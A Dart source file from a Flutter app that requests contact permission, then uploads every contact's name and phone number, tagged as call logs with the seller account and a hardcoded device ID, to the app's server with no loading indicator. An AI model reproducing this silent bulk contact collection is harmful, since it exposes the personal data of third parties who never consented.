contact_model.dart 5.39 KB
import 'dart:convert';
import 'dart:io';

import 'package:common_utils/common_utils.dart';
import 'package:contacts_service/contacts_service.dart';
import 'package:dio/dio.dart';
import 'package:flutter/cupertino.dart';
import 'package:one_key/constant/constant.dart';
import 'package:one_key/net/base_resp.dart';
import 'package:one_key/net/dio_util.dart';
import 'package:one_key/net/http_url.dart';
import 'package:one_key/provider/user_model.dart';
import 'package:one_key/utils/dialog_util.dart';
import 'package:one_key/utils/misc.dart';
import 'package:one_key/utils/utils.dart';
import 'package:permission_handler/permission_handler.dart';
import 'package:provider/provider.dart';

import '../app.dart';

/**
 * 上传联系人
 */
class ContactModel {
  ContactModel._();

  static ContactModel _instance;

  static ContactModel getInstance() {
    if (_instance == null) {
      _instance = ContactModel._();
    }
    return _instance;
  }

  _openAddressBook(context) async {
    if (!(await checkContactPermission())) {
      PermissionStatus permissionStatus = await contactPermissionStatus();
      if (permissionStatus == PermissionStatus.permanentlyDenied) {
        //用户选择不在弹出权限提示框
        print('never');
        DialogUtil.openAlertDialog(
            context, '未获得通讯录权限', "请在手机的权限管理里,将通讯录权限开启", '去设置', 340.0,
            onTap: () {
          openSetting();
          Navigator.pop(context, '');
        });
      } else {
        // 申请权限
        bool canContacts = await requestContactPermission();
        if (canContacts) {
          uploadRearly(context);
        } else {
          //拒绝通讯录权限 , 苹果拒绝权限后,不再提示权限框,进入此处
          DialogUtil.openAlertDialog(
              context, '未获得通讯录权限', "请在手机的权限管理里,将通讯录权限开启。", '去设置', 340.0,
              onTap: () {
            openSetting();
            Navigator.pop(context, '');
          });
        }
      }
    } else {
      uploadRearly(context);
    }
  }

  uploadRearly(context) async {
    Iterable<Contact> contacts =
        await ContactsService.getContacts(withThumbnails: false);
    List<Map<String, String>> callLogs = [];

    contacts.forEach((contact) {
      String phoneNum = "";
      if (contact.phones.isNotEmpty) {
        phoneNum = contact.phones.first.value
            .replaceAll(new RegExp(r"\s+\b|\b\s"), "");
      }
      Map<String, String> callLog = {
        "phoneNum": "${phoneNum.trim()}",
        "sid": Provider.of<UserModel>(context, listen: false).user.sellerid,
        "deviceId": "dhgajkhdgahghsdghdkgahd",
        "phoneDate": "${DateTime.now().millisecondsSinceEpoch}",
        "callType": "2",
        "callUser": "${contact.displayName}",
        "account": Provider.of<UserModel>(context, listen: false).user.account
      };
      callLogs.add(callLog);
    });
    Map<String, String> params = {"data": jsonEncode(callLogs)};
    BaseResp<String> baseResp = await DioUtil()
        .request<String>(context, Method.post, HttpUrl.upload_contact,
            showLoading: false,
            data: params,
            options: Options(
                method: Method.post,
                contentType: "application/x-www-form-urlencoded"))
        .catchError((error) {
      print(error.toString());
    });
    if (baseResp != null && baseResp.code == Constant.status_success) {
      LogUtil.v("联系人上传成功:${contacts.length}条");
      App.sp.setBool("isUpload", true);
    }
  }

  uploadLocalContact(BuildContext context) async {
    // bool isUpload = App.sp.getBool("isUpload") ?? false;
    // if (isUpload) return;
    bool authority = false;
    // _openAddressBook(context);
    if (!await checkContactPermission()) {
      authority = await requestContactPermission();
    } else {
      authority = true;
    }
    if (authority) {
      Iterable<Contact> contacts =
          await ContactsService.getContacts(withThumbnails: false);
      List<Map<String, String>> callLogs = [];

      contacts.forEach((contact) {
        String phoneNum = "";
        if (contact.phones.isNotEmpty) {
          phoneNum = contact.phones.first.value
              .replaceAll(new RegExp(r"\s+\b|\b\s"), "");
        }
        Map<String, String> callLog = {
          "phoneNum": "${phoneNum.trim()}",
          "sid": Provider.of<UserModel>(context, listen: false).user.sellerid,
          "deviceId": "dhgajkhdgahghsdghdkgahd",
          "phoneDate": "${DateTime.now().millisecondsSinceEpoch}",
          "callType": "2",
          "callUser": "${contact.displayName}",
          "account": Provider.of<UserModel>(context, listen: false).user.account
        };
        callLogs.add(callLog);
      });
      Map<String, String> params = {"data": jsonEncode(callLogs)};
      BaseResp<String> baseResp = await DioUtil()
          .request<String>(context, Method.post, HttpUrl.upload_contact,
              showLoading: false,
              data: params,
              options: Options(
                  method: Method.post,
                  contentType: "application/x-www-form-urlencoded"))
          .catchError((error) {
        print(error.toString());
      });
      if (baseResp != null && baseResp.code == Constant.status_success) {
        LogUtil.v("联系人上传成功:${contacts.length}条");
        App.sp.setBool("isUpload", true);
      }
    }
  }
}